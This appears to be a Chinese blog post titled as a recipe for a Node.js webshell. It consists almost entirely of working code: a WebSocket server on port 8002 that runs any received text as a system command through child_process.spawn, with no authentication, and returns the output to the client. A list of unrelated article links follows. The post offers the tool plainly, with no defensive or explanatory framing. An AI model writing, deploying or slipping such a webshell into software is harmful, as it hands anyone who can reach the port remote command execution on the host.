express+websocket+exec+spawn=webshell
2024-09-10 07:16:31
var child_process = require('child_process'); var ws = require("nodejs-websocket"); console.log("initialing conn...") var server = ws.createServer(function(conn){ conn.on("text", function (str) { var arr=str.split(" ");
var comm=arr.shift(); console.log("received:"+str);
aa(comm,arr,conn);
}); conn.on("error", function (code, reason) {
console.log("异常关闭")
}); }).listen(8002) function aa(comm,arr,conn){ var spawnObj = child_process.spawn(comm,arr, {encoding: 'utf-8'}); spawnObj.stdout.on('data', function(chunk) {
conn.sendText(chunk.toString(
));
});
spawnObj.stderr.on('data',(data)=>{
console.log('error:${data}');
});
spawnObj.on('error',(err)=>{
console.log('subProcess Failed'+err);
});
} console.log("WebSocket建立完毕")
最新文章
- robotframework接口测试初探2
- Linux下安装和配置JDK与Tomcat(入门版)
- 关于 tomcat nio connector, servlet 3.0 async, spring mvc async 的关系
- 跟我学习dubbo-ZooKeeper注册中心安装(2)
- POJ 2409 Let it Bead(polay计数)
- bzoj 1408 [Noi2002]Robot(欧拉函数)
- Newtonsoft.Json随手记
- php之数据类型自动转换
- Day14 HTML补充
- JS之arguments属性解读函数传参?
- js循环遍历
- Swift中编写单例的正确方式
- 积累的VC编程小技巧之组合框
- [Cacti] cacti监控mongodb性能实战
- PHP正则式PCRE
- java9学习之模块化
- Python 防止mysql 注入的两种方式
- 用nodejs搭建类似于C++的服务器后台.类似网易pomelo
- MySql之安装以及设置密码等
- OAuth 2.0 - Authorization Code授权方式详解